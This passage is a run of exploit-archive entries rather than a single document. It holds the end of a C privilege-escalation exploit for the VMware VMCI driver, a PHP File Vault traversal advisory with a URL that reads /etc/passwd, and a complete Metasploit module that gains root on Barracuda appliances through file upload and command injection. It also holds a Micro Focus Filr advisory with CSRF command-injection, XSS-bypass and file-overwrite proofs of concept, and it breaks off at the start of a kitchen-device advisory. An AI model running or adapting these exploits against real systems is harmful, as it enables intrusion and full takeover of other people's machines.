        if (pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwCurPID)
        {
            DWORD_PTR    dwTestObjAddr = (DWORD_PTR)pHandleTable->Handles[i].Object;
            DWORD_PTR    dwTestHandleVal = (DWORD_PTR)pHandleTable->Handles[i].HandleValue;
            DWORD_PTR    dwWindowAddress = 0;
            bool        bPoolWindowFound = false;

            UINT iObjectsNeeded = 0;
            // Needed window size is vmci packet pool chunk size (0x218) divided by
            // Semaphore pool chunk size (dwSemaphoreSize)
            iObjectsNeeded = (0x218 / dwSemaphoreSize) + ((0x218 % dwSemaphoreSize != 0) ? 1 : 0);
        
            if (
                    // Not on a page boundary
                    ((dwTestObjAddr & 0xFFF) != 0) 
                    && 
                    // Doesn't cross page boundary
                    (((dwTestObjAddr + 0x300) & 0xF000) == (dwTestObjAddr & 0xF000)) 
                )
            {
                // Check previous object for being our semaphore
                DWORD_PTR dwPrevObject = dwTestObjAddr - dwSemaphoreSize;
                if (LookupObjectHandle(pHandleTable, (PVOID)dwPrevObject) == NULL)
                {
                    continue;
                }

                for (unsigned int j = 1; j < iObjectsNeeded; j++)
                {
                    DWORD_PTR dwNextTestAddr = dwTestObjAddr + (j * dwSemaphoreSize);
                    HANDLE hLookedUp = LookupObjectHandle(pHandleTable, (PVOID)dwNextTestAddr);

                    //printf("dwTestObjPtr = %08X, dwTestObjHandle = %08X\n", dwTestObjAddr, dwTestHandleVal);
                    //printf("\tdwTestNeighbour = %08X\n", dwNextTestAddr);
                    //printf("\tLooked up handle = %08X\n", hLookedUp);

                    if (hLookedUp != NULL)
                    {
                        hHandlesToClose[j] = hLookedUp;

                        if (j == iObjectsNeeded - 1)
                        {
                            // Now test the following object
                            dwNextTestAddr = dwTestObjAddr + ((j + 1) * dwSemaphoreSize);
                            if (LookupObjectHandle(pHandleTable, (PVOID)dwNextTestAddr) != NULL)
                            {
                                hHandlesToClose[0] = (HANDLE)dwTestHandleVal;
                                bPoolWindowFound = true;

                                dwWindowAddress = dwTestObjAddr;

                                // Close handles to create a memory window
                                for (int k = 0; k < iObjectsNeeded; k++)
                                {
                                    if (hHandlesToClose[k] != NULL)
                                    {
                                        CloseHandle(hHandlesToClose[k]);
                                        CloseTableHandle(pHandleTable, hHandlesToClose[k]);
                                    }
                                }
                            }
                            else
                            {
                                memset(hHandlesToClose, 0, sizeof(hHandlesToClose));
                                break;
                            }
                        }
                    }
                    else
                    {
                        memset(hHandlesToClose, 0, sizeof(hHandlesToClose));
                        break;
                    }
                }

                if (bPoolWindowFound)
                {
                    printf("\t[+] Window found at %08X!\n", dwWindowAddress);
                }

            }
        }
    }

    VirtualFree(pBuf, 0, MEM_RELEASE);

    return;
}

void InitFakeBuf(PVOID pBuf, DWORD dwSize)
{
    if (pBuf != NULL)
    {
        RtlFillMemory(pBuf, dwSize, 0x11);
    }

    return;
}

void PlaceFakeObjects(PVOID pBuf, DWORD dwSize, DWORD dwStep)
{
    /*
        Previous chunk size will be always 0x43 and the pool index will be 0, so the last bytes will be 0x0043
        So, for every 0xXXXX0043 address we must suffice the following conditions:

        lea        edx, [eax+38h]
        lock    xadd [edx], ecx
        cmp        ecx, 1

        Some sort of lock at [addr + 38] must be equal to 1. And

        call    dword ptr [eax+0ACh]

        The call site is located at [addr + 0xAC]

        Also fake the object to be dereferenced at [addr + 0x100]
    */

    if (pBuf != NULL)
    {
        for (PUCHAR iAddr = (PUCHAR)pBuf + 0x43; iAddr < (PUCHAR)pBuf + dwSize; iAddr = iAddr + dwStep)
        {
            PDWORD pLock = (PDWORD)(iAddr + 0x38);
            PDWORD_PTR pCallMeMayBe = (PDWORD_PTR)(iAddr + 0xAC);
            PDWORD_PTR pFakeDerefObj = (PDWORD_PTR)(iAddr + 0x100);

            *pLock = 1;
            *pCallMeMayBe = (DWORD_PTR)FireShell;
            *pFakeDerefObj = (DWORD_PTR)pBuf + 0x1000;
        }
    }

    return;
}

void PenetrateVMCI()
{
    /*

        VMware Security Advisory
        Advisory ID:    VMSA-2013-0002
        Synopsis:    VMware ESX, Workstation, Fusion, and View VMCI privilege escalation vulnerability
        Issue date:    2013-02-07
        Updated on:    2013-02-07 (initial advisory)
        CVE numbers:    CVE-2013-1406

    */

    DWORD dwPidToElevate = 0;
    HANDLE hSuspThread = NULL;

    bool bXP = (LOBYTE(GetVersion()) == 5);
    bool b7 = ((LOBYTE(GetVersion()) == 6) && (HIBYTE(LOWORD(GetVersion())) == 1));
    bool b8 = ((LOBYTE(GetVersion()) == 6) && (HIBYTE(LOWORD(GetVersion())) == 2));

    if (!InitKernelFuncs())
    {
        printf("[-] Like I don't know where the shellcode functions are\n");
        return;
    }

    if (bXP)
    {
        printf("[?] Who do we want to elevate?\n");
        scanf_s("%d", &dwPidToElevate);

        hProcessToElevate = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPidToElevate);
        if (hProcessToElevate == NULL)
        {
            printf("[-] This process doesn't want to be elevated\n");
            return;
        }
    }

    if (b7 || b8)
    {
        // We are unable to change an active process token on-the-fly,
        // so we create a custom shell suspended (Ionescu hack)
        STARTUPINFO si = {0};
        PROCESS_INFORMATION pi = {0};

        si.wShowWindow = TRUE;

        WCHAR cmdPath[MAX_PATH] = {0};
        GetSystemDirectory(cmdPath, MAX_PATH);
        wcscat_s(cmdPath, MAX_PATH, L"\\cmd.exe");

        if (CreateProcess(cmdPath, L"", NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi) == TRUE)
        {
            hProcessToElevate = pi.hProcess;
            hSuspThread = pi.hThread;
        }
    }

    HANDLE hVMCIDevice = CreateFile(L"\\\\.\\vmci", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);
    if (hVMCIDevice != INVALID_HANDLE_VALUE)
    {
        UCHAR BadBuff[0x624] = {0};
        UCHAR retBuf[0x624] = {0};
        DWORD dwRet = 0;

        printf("[+] VMCI service found running\n");

        PVM_REQUEST pVmReq = (PVM_REQUEST)BadBuff;
        pVmReq->Header.RequestSize = 0xFFFFFFF0;
        
        PVOID pShellSprayBufStd = NULL;
        PVOID pShellSprayBufQtd = NULL;
        PVOID pShellSprayBufStd7 = NULL;
        PVOID pShellSprayBufQtd7 = NULL;
        PVOID pShellSprayBufChk8 = NULL;

        if ((b7) || (bXP) || (b8))
        {
            /*
                Significant bits of a PoolType of a chunk define the following regions:
                0x0A000000 - 0x0BFFFFFF - Standard chunk
                0x1A000000 - 0x1BFFFFFF - Quoted chunk
                0x0 - 0xFFFFFFFF - Free chunk - no idea

                Addon for Windows 7:
                Since PoolType flags have changed, and "In use flag" is now 0x2,
                define an additional region for Win7:

                0x04000000 - 0x06000000 - Standard chunk
                0x14000000 - 0x16000000 - Quoted chunk
            */
            
            pShellSprayBufStd = VirtualAlloc((LPVOID)0xA000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            pShellSprayBufQtd = VirtualAlloc((LPVOID)0x1A000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            pShellSprayBufStd7 = VirtualAlloc((LPVOID)0x4000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            pShellSprayBufQtd7 = VirtualAlloc((LPVOID)0x14000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

            if ((pShellSprayBufQtd == NULL) || (pShellSprayBufQtd == NULL) || (pShellSprayBufQtd == NULL) || (pShellSprayBufQtd == NULL))
            {
                printf("\t[-] Unable to map the needed memory regions, please try running the app again\n");
                CloseHandle(hVMCIDevice);
                return;
            }

            InitFakeBuf(pShellSprayBufStd, 0x2000000);
            InitFakeBuf(pShellSprayBufQtd, 0x2000000);
            InitFakeBuf(pShellSprayBufStd7, 0x2000000);
            InitFakeBuf(pShellSprayBufQtd7, 0x2000000);

            PlaceFakeObjects(pShellSprayBufStd, 0x2000000, 0x10000);
            PlaceFakeObjects(pShellSprayBufQtd, 0x2000000, 0x10000);
            PlaceFakeObjects(pShellSprayBufStd7, 0x2000000, 0x10000);
            PlaceFakeObjects(pShellSprayBufQtd7, 0x2000000, 0x10000);

            if (SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL) == FALSE)
            {
                SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST);
            }

            PoolSpray();

            if (DeviceIoControl(hVMCIDevice, 0x8103208C, BadBuff, sizeof(BadBuff), retBuf, sizeof(retBuf), &dwRet, NULL) == TRUE)
            {
                printf("\t[!] If you don't see any BSOD, you're successful\n");

                if (b7 || b8)
                {
                    ResumeThread(hSuspThread);
                }
            }
            else
            {
                printf("[-] Not this time %d\n", GetLastError());
            }

            if (pShellSprayBufStd != NULL)
            {
                VirtualFree(pShellSprayBufStd, 0, MEM_RELEASE);
            }

            if (pShellSprayBufQtd != NULL)
            {
                VirtualFree(pShellSprayBufQtd, 0, MEM_RELEASE);
            }
        }

        SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_NORMAL);

        CloseHandle(hVMCIDevice);
    }
    else
    {
        printf("[-] Like I don't see vmware here\n");
    }

    CloseHandle(hProcessToElevate);

    return;
}
            
PHP File Vault version 0.9 , remote directory traversal and read file vulnerabilty 
==================================================================================


Discovered by N_A, N_A[at]tutanota.com
======================================




Description
===========


A very small PHP website application which stores anonymously uploaded files and retrieves them by SHA1 hash (a fingerprint of the file which is provided after uploading). Developed for anonysource.org , a kanux project.

https://sourceforge.net/projects/php-file-vault



Vulnerability
=============


The vulnerability exists within the fileinfo.php file of the package:


A A A  if (empty($_GET['sha1'])) die("sha1 is required to get file info");
A A A  $sha1 = trim($_GET['sha1']);


the 'sha1' variable is requested via the GET method. It is passed as a variable to the 'parseFileInfo' function. This function incorporates a call to
the fopen() function within PHP:



A A A  A A A  function parseFileInfo($fi) {
A A A  A A A  $fh = fopen($fi,'r');
A A A  A A A  $fname = trim(fgets($fh));
A A A  A A A  fclose($fh);
A A A  A A A  return array($fname);
A A A  A A  }



The parseFileInfo() function is called within the file fileinfo.php with the 'sha1' variable inside:

A A A  A A A  if (!is_readable(FI.$sha1)) die("cannot read file info!");
A A A  A A A  list($fname) = parseFileInfo(FI.$sha1);

A A A  A A A  readfile('head.html');

A A A  A A A  if ($fname) echo "<h1><a href=\"/$sha1\">$fname</a></h1>";


This is the vulnerability that allows parts of *any world readable* file to be read by a remote attacker.

Attacks can include gathering sensitive information, .bash_history, .rhosts, /etc/passwd and so on.


Proof Of Concept
================

PoC exploit = http://127.0.0.1/htdocs/fileinfo.php?sha1=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
            
# Exploit Title: Barracuda Web App Firewall/Load Balancer Post Auth Remote Root Exploit (2)
# Date: 07/25/16
# Exploit Author: xort xort@blacksecurity.org
# Vendor Homepage: https://www.barracuda.com/
# Software Link: https://www.barracuda.com/products/loadbalance & https://www.barracuda.com/products/webapplicationfirewall
# Version: Load Balancer Firmware <= v5.4.0.004 (2015-11-26) & Web App Firewall Firmware <= v8.0.1.007 (2016-01-07)
# Tested on: Load Balancer Firmware <= v5.4.0.004 (2015-11-26) & Web App Firewall Firmware <= 8.0.1.007 (2016-01-07)
# CVE : None.

# This exploit combines 2 bugs to leverage root access
# Vuln 1: ondefined_view_template trigger    - File upload vuln
# Vuln 2: ondefined_remove_corefiles trigger - Command injection vuln (from loaded file data)

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = ExcellentRanking
	include  Exploit::Remote::Tcp
        include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Barracuda Web App Firewall/Load Balancer Post Auth Remote Root Exploit (2)',
                        'Description'    => %q{
                                        This module exploits a remote command execution vulnerability in
                                the Barracuda Web App Firewall Firmware Version <= 8.0.1.007 and Load Balancer Firmware <= v5.4.0.004
                                by exploiting a two vulnerabilities in the web administration interface. The first bug leverages a Arbitrary File
				Upload vulnerability to create a malicious file containing shell commands before using a second bug meant to clean
				up left-over core files on the device to execute them. By sending a specially crafted requests
                                it's possible to inject system commands while escalating to root do to relaxed sudo configurations on the applianaces.
                        },
	
			'Author'         =>
				[
					'xort', # vuln + metasploit module
				],
			'Version'        => '$Revision: 2 $',
			'References'     =>
				[
					[ 'none', 'none'],
				],
			'Platform'      => [ 'linux'],
			'Privileged'     => true,
			 'Arch'          => [ ARCH_X86 ],
                        'SessionTypes'  => [ 'shell' ],
                        'Privileged'     => false,

		        'Payload'        =>
                                { 
                                  'Compat' =>
                                  {
                                        'ConnectionType' => 'find',
                                  }
                                },

			'Targets'        =>
                                [
                                        ['Barracuda Web App Firewall Firmware Version <= 8.0.1.007 (2016-01-07)',
                                                {
                                                                'Arch' => ARCH_X86,
                                                                'Platform' => 'linux',
                                                                'SudoCmdExec' => "/home/product/code/firmware/current/bin/config_agent_wrapper.pl"
                                                }
                                        ],

                                        ['Barracuda Load Balancer Firmware <= v5.4.0.004 (2015-11-26)',
                                                {
                                                                'Arch' => ARCH_X86,
                                                                'Platform' => 'linux',
                                                                'SudoCmdExec' => "/home/product/code/firmware/current/bin/rdpd"
                                                }
                                        ],
                                ],
	
			'DefaultTarget' => 0))

			register_options(
				[
					OptString.new('PASSWORD', [ false, 'Device password', "" ]),	
					OptString.new('ET', [ false, 'Device password', "" ]),
			         	OptString.new('USERNAME', [ true, 'Device password', "admin" ]),	
					OptString.new('CMD', [ false, 'Command to execute', "" ]),	
					Opt::RPORT(8000),
				], self.class)
	end

        def do_login(username, password_clear, et)
                vprint_status( "Logging into machine with credentials...\n" )

                # vars
                timeout = 1550;
                enc_key = Rex::Text.rand_text_hex(32)

                # send request  
                res = send_request_cgi(
                {
                      'method'  => 'POST',
                      'uri'     => "/cgi-mod/index.cgi",
		      'headers' => 
			{
				'Accept' => "application/json, text/javascript, */*; q=0.01",
				'Content-Type' => "application/x-www-form-urlencoded",
				'X-Requested-With' => "XMLHttpRequest"
			},
                      'vars_post' =>
                        {

                          'enc_key' => enc_key,
                          'et' => et,
                          'user' => "admin", # username,
                          'password' => "admin", # password_clear,
                          'enctype' => "none",
                          'password_entry' => "",
			  'login_page' => "1",
                          'login_state' => "out",
                          'real_user' => "",
                          'locale' => "en_US",
                          'form' => "f",
                          'Submit' => "Sign in",
                        }
                }, timeout)

                # get rid of first yank 
                password = res.body.split('\n').grep(/(.*)password=([^&]+)&/){$2}[0] #change to match below for more exact result
                et = res.body.split('\n').grep(/(.*)et=([^&]+)&/){$2}[0]

                return password, et
        end

	def run_command(username, password, et, cmd)
		vprint_status( "Running Command...\n" )

		# file to overwrite
		cmd_file = "/home/product/code/config/corefile_list.txt"

 		# file to replace
		sudo_cmd_exec = target['SudoCmdExec']

                sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}"
                sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c "

                # random filename to dump too + 'tmp' HAS to be here.
                b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))

                # decoder stubs - tells 'base64' command to decode and dump data to temp file
                b64decode1 = "echo \""
                b64decode2 = "\" | base64 -d >" + b64dumpfile

                # base64 - encode with base64 so we can send special chars and multiple lines
                cmd = Base64.strict_encode64(cmd)

                # Create injection string.
                #      a) package the  base64 decoder with encoded bytes
                #      b) attach a chmod +x request to make the script created (b64dumpfile) executable
                #      c) execute decoded base64 dumpfile

                injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile + " ; rm " + b64dumpfile

	 	exploitreq = [
		[ "auth_type","Local" ],
		[ "et",et ],
		[ "locale","en_US" ],
		[ "password", password  ],
		[ "primary_tab", "BASIC" ],
		[ "realm","" ],
		[ "secondary_tab","reports" ],
		[ "user", username ],
		[ "timestamp", Time.now.to_i ],
		
		[ "upload_template_file_filename", "admin" ]
		]

		
		boundary = "---------------------------" + Rex::Text.rand_text_numeric(34)
		post_data = ""
	
		exploitreq.each do |xreq|
		    post_data << "--#{boundary}\r\n"
		    post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"
		    post_data << "#{xreq[1]}\r\n"
		end

		# upload file
		up_filename = cmd_file
	        post_data << "--#{boundary}\r\n"
	        post_data << "Content-Disposition: form-data; name=\"upload_template_file\"; filename=\"../#{up_filename}\"\r\n\r\n"
		post_data << ";#{injection_string};\r\n"

	        # end data
	        post_data << "--#{boundary}\r\n"
		post_data << "Content-Disposition: form-data; name=\"view_template\"\r\n\r\n"
		post_data << "\r\n"

	    	post_data << "--#{boundary}--\r\n" # end boundary

		# upload file vuln
	        res = send_request_cgi({
         	   'method' => 'POST',
	           'uri'    => "/cgi-mod/index.cgi",
       		   'ctype'  => "multipart/form-data; boundary=#{boundary}",
            	   'data'   => post_data,
		   'headers' => 
			{
				'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
				'Accept' => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
				'Accept-Language' => "en-US,en;q=0.5"
			}
	        })	

		post_data = ""

                exploitreq.each do |xreq|
                    post_data << "--#{boundary}\r\n"
                    post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"
                    post_data << "#{xreq[1]}\r\n"
                end

		# triger vuln 
	        post_data <<  "--#{boundary}\r\n"
		post_data << "Content-Disposition: form-data; name=\"remove_corefiles\"\r\n\r\n"
		post_data << "\r\n"

	    	post_data << "--#{boundary}--\r\n" # end boundary

                # upload file vuln
                res = send_request_cgi({
                   'method' => 'POST',
                   'uri'    => "/cgi-mod/index.cgi",
                   'ctype'  => "multipart/form-data; boundary=#{boundary}",
                   'data'   => post_data,
                   'headers' =>
                        {
                                'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
                                'Accept' => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                                'Accept-Language' => "en-US,en;q=0.5"
                        }
                })



	end

	def run_script(username, password, et, cmds)
	  	vprint_status( "running script...\n")
	  
	  
	end
	
	def exploit
		# timeout
		timeout = 1550;

		user = "admin"
		
		# params
                real_user = "";
		login_state = "out"
		et = Time.now.to_i
		locale = "en_US"
		user = "admin"
		password = "admin"
		enctype = "MD5"
		password_entry = ""
		password_clear = "admin"
		

		password_hash, et = do_login(user, password_clear, et)
		vprint_status("new password: #{password_hash} et: #{et}\n")

		sleep(5)


		 #if no 'CMD' string - add code for root shell
                if not datastore['CMD'].nil? and not datastore['CMD'].empty?

                        cmd = datastore['CMD']

                        # Encode cmd payload
                        encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')

                        # kill stale calls to bdump from previous exploit calls for re-use
                        run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))
                else
                        # Encode payload to ELF file for deployment
                        elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
                        encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')

                        # kill stale calls to bdump from previous exploit calls for re-use
                        run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/m ;printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))

                        handler
                end


	end

end
            
SEC Consult Vulnerability Lab Security Advisory < 20160725-0 >
=======================================================================
              title: Multiple vulnerabilities 
            product: Micro Focus (former Novell) Filr Appliance
 vulnerable version: Filr 2 <=2.0.0.421, Filr 1.2 <= 1.2.0.846
      fixed version: Filr 2 v2.0.0.465, Filr 1.2 v1.2.0.871
         CVE number: CVE-2016-1607, CVE-2016-1608, CVE-2016-1609
                     CVE-2016-1610, CVE-2016-1611
             impact: critical
           homepage: https://www.novell.com/products/filr/
              found: 2016-05-23
                 by: W. Ettlinger (Office Vienna)
                     SEC Consult Vulnerability Lab 

                     An integrated part of SEC Consult
                     Bangkok - Berlin - Linz - Montreal - Moscow
                     Singapore - Vienna (HQ) - Vilnius - Zurich

                     https://www.sec-consult.com
=======================================================================

Vendor description:
-------------------
"Unlike other mobile file access and collaborative file sharing solutions, Micro
Focus Filr has been designed with the enterprise in mind, resulting in less
administration, better security and more productive users."

URL: https://www.novell.com/products/filr/


Business recommendation:
------------------------
During a very quick security check several vulnerabilities with high impact 
have been discovered. SEC Consult recommends to immediately apply the patches 
provided by Micro Focus to address these issues. 

Please note that since SEC Consult did not conduct a thorough technical security
check SEC Consult cannot make a statement regarding the overall security of the
Micro Focus Filr appliance.


Vulnerability overview/description:
-----------------------------------
During a quick security check several vulnerabilities have been identified that 
ultimately allow an attacker to completely compromise the appliance:

1) Cross Site Request Forgery (CSRF) - CVE-2016-1607
Several functions within the appliance's administative interface lack protection
against CSRF attacks. This allows an attacker who targets an authenticated 
administrator to reconfigure the appliance.

2) OS Command Injection - CVE-2016-1608
The appliance administrative interface allows an authenticated attacker to 
execute arbitrary operating system commands. Please note that an attacker can 
combine this vulnerability with vulnerability #1. In this scenario, an attacker 
does not need to be authenticated.

3) Insecure System Design
The appliance uses a Jetty application server to provide the appliance 
administration interface. This application server is started as the superuser 
"root". Please note that combined with vulnerability #1 and #2 an attacker can
run commands as the superuser "root" without the need for any authentication.
For vendor remark on #3 see solution section.

4) Persistent Cross-Site Scripting - CVE-2016-1609
The Filr web interface uses a blacklist filter to try to strip any JavaScript 
code from user input. However, this filter can be bypassed to persistently 
inject JavaScript code into the Filr web interface.

5) Missing Cookie Flags
The httpOnly cookie flag is not set for any session cookies set by both the 
administrative appliance web interface and the Filr web interface. Please note 
that combined with vulnerability #4 an attacker can steal session cookies of 
both the appliance administration interface and the Filr web interface (since 
cookies are shared across ports).
For vendor remark on #5 see solution section.

6) Authentication Bypass - CVE-2016-1610
An unauthenticated attacker is able to upload email templates.

7) Path Traversal - CVE-2016-1610
The functionality that allows an administrator to upload email templates fails 
to restrict the directory the templates are uploaded to. Please note that 
combined with vulnerability #6 an attacker is able to upload arbitray files with
the permissions of the system user "wwwrun".

8) Insecure File Permissions - CVE-2016-1611
A file that is run upon system user login is world-writeable. This allows a local 
attacker with restricted privileges to inject commands that are being executed
as privileged users as soon as they log into the system. Please note that 
combined with vulnerabilities #6 and #7 an unauthenticated attacker can inject 
commands that are executed as privileged system users (e.g. root) using the Filr
web interface.


Proof of concept:
-----------------
1, 2, 3)
The following HTML fragment demonstrates that using a CSRF attack (#1) system 
commands can be injected (#2) that are executed as the user root (#3):

----- snip -----
<html>
  <body>
    <form action="https://<host>:9443/vaconfig/time" method="POST">
      <input type="hidden" name="ntpServer" value="0.novell.pool.ntp.org 1.novell.pool.ntp.org';id>/tmp/test;'" />
      <input type="hidden" name="region" value="europe" />
      <input type="hidden" name="timeZone" value="Europe/Vienna" />
      <input type="hidden" name="utc" value="true" />
      <input type="hidden" name="_utc" value="on" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
----- snip -----

4)
The following string demonstrates how the XSS filter can be circumvented:
<img src='>' onerror='alert(1)'>

This string can e.g. be used by a restricted user in the "phone" field of the 
user profile. The script is executed by anyone viewing the profile (e.g. admins).

5)
None of the session cookies are set with the httpOnly flag.

6, 7, 8)
The following Java fragment demonstrates how an unauthenticated attacker (#6) 
can overwrite a file in the filesystem (#7 & #8) that is executed upon user login 
of e.g. the root user:

----- snip -----
String sessionCookie = "sectest";
String host = "http://<host>/";

ProxySettings settings = new ProxySettings();
HttpCookie cookie = new HttpCookie("JSESSIONID", sessionCookie);

settings.setCookieManager(new CookieManager());
settings.getCookieManager().getCookieStore().add(new URI(host), cookie);

settings.setModuleBaseUrl(host + "ssf/gwt/");
settings.setRemoteServiceRelativePath("gwtTeaming.rpc");
settings.setPolicyName("338D4038939D10E7FC021BD64B318D99");
GwtRpcService svc = SyncProxy.createProxy(GwtRpcService.class, settings);

VibeXsrfToken token = new VibeXsrfToken(
		StringUtils.toHexString(Md5Utils.getMd5Digest(sessionCookie.getBytes())));
((HasRpcToken) svc).setRpcToken(token);

String fileName = "../../../../etc/profile.d/vainit.sh";
FileBlob fileBlob = new FileBlob(ReadType.TEXT, fileName, "", 1l, 4, 1l, false, 4l);
fileBlob.setBlobDataString("id > /tmp/profiledtest\n");
BinderInfo folderInfo = new BinderInfo();
folderInfo.setBinderId((long) 1);
folderInfo.setBinderType(BinderType.WORKSPACE);
folderInfo.setWorkspaceType(WorkspaceType.EMAIL_TEMPLATES);
VibeRpcCmd cmd = new UploadFileBlobCmd(folderInfo, fileBlob, true);
HttpRequestInfo ri = new HttpRequestInfo();
svc.executeCommand(ri, cmd);
----- snip -----


Vulnerable / tested versions:
-----------------------------
The version 2.0.0.421 of Micro Focus Filr was found to be vulnerable. This version 
was the latest version at the time of the discovery.

According to the vendor, Filr 1.2 is also vulnerable.



Vendor contact timeline:
------------------------
2016-05-23: Sending encrypted advisory to security@novell.com, Setting latest
            possible release date to 2016-07-12
2016-05-24: Initial response from Micro Focus: forwarded the information to Filr
            engineering team
2016-06-13: Micro Focus releases patch to address issue #8
2016-06-14: Requested status update
2016-06-14: Micro Focus expects release of the patches in early July
2016-06-30: Asking for status update, answer of Micro Focus
2016-07-06: Micro Focus needs more time to patch issues, release re-scheduled for 15th
2016-07-12: Asking for status update; "final rounds of QA" at Micro Focus
2016-07-16: Postponing advisory release, patch not yet ready
2016-07-22: Patch release by Micro Focus
2016-07-25: Coordinated advisory release
  

Solution:
---------
The "Filr 2.0 Security Update 2" can be downloaded here and should
be applied immediately:
https://download.novell.com/Download?buildid=3V-3ArYN85I~
Those patches fix vulnerabilities #1, #2, #4, #6, #7

"Filr 1.2 Security Update 3" can be found here:
https://download.novell.com/Download?buildid=BOTiHcBFfv0~


Knowledge base references at Micro Focus:
Issue #1: https://www.novell.com/support/kb/doc.php?id=7017786
Issue #2: https://www.novell.com/support/kb/doc.php?id=7017789
Issue #4: https://www.novell.com/support/kb/doc.php?id=7017787
Issue #6 & #7: https://www.novell.com/support/kb/doc.php?id=7017788

Local privilege escalation via insecure file permissions (#8) has
already been fixed in the Filr 2.0 security update 1 in June:
https://www.novell.com/support/kb/doc.php?id=7017689


Issue #3: According to Micro Focus, Jetty actually runs as user 
"vabase-jetty" but will pass commands off to another service on
the box that runs as root to perform privileged actions.
They have fixed the command injection in this release and the
next release will include much more stringent parameter validation
for passing the commands.

Issue #5: According to Micro Focus, a component of Filr does not
function properly when the httpOnly flag is enabled. This will be
addressed in a future release.


Workaround:
-----------
None


Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Bangkok - Berlin - Linz - Montreal - Moscow
Singapore - Vienna (HQ) - Vilnius - Zurich

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/Career.htm

Interested in improving your cyber security with the experts of SEC Consult? 
Contact our local offices https://www.sec-consult.com/en/About/Contact.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF W. Ettlinger / @2016
            
'''
Bellini/Supercook Wi-Fi Yumi SC200 - Multiple vulnerabilities

Reported By:
==================================
James McLean -
 Primary: james dot mclean at gmail dot com
 Secondary: labs at juicedigital dot net

Device Overview:
==================================
From http://www.supercook.me/en/supercook/articles/btmkm800x/

"The Bellini.SUPERCOOK Kitchen Master is much more than a multifunctional
kitchen machine. It has 13 functions so not only saves a huge amount of
time, it also incorporates the Yumi control module and its own recipe
collection, making it incredibly easy to use."

Vulnerability Overview:
==================================
 Vuln1) Weak Username/Password for 'root' account.
 Vuln2) Information disclosure, unauthenticated.
 Vuln3) Remote arbitrary code execution.

CVE ID's
==================================
None assigned as yet.

Disclosure Timeline
==================================
2016-06-01: Vulnerability assessment commenced.
2016-07-04: Contacted Supercook.me support via Web Contact. No response.
2016-07-12: Contacted Supercook.me support via Web Contact. No response.
2016-07-12: Contacted Supercook Australia via Facebook. Supercook responded, saying they will view the support request. No further response recieved.
2016-07-19: Contacted Supercook Australia via Facebook. No response.
2016-07-21: Posted security assessment to vortex.id.au.
2016-07-22: Mitre contacted, CVE ID's requested.

It is with regret, but ultimately due to my concern for the community
that own these devices, that due to lack of communication I am disclosing
these vulnerabilities without the involvment of the vendor. I sincerely hope
that the vendor can resolve these issues in a timely manner.

I intend no malice by releasing these vulnerabilities, and only wish to
inform the community so appropriate steps may be taken by the owners of
these devices.

Due to the nature of the firmware on the device, these issues are not likely
caused by the vendor themselves.

Please do not use the information presented here for evil.

Affected Platforms:
==================================
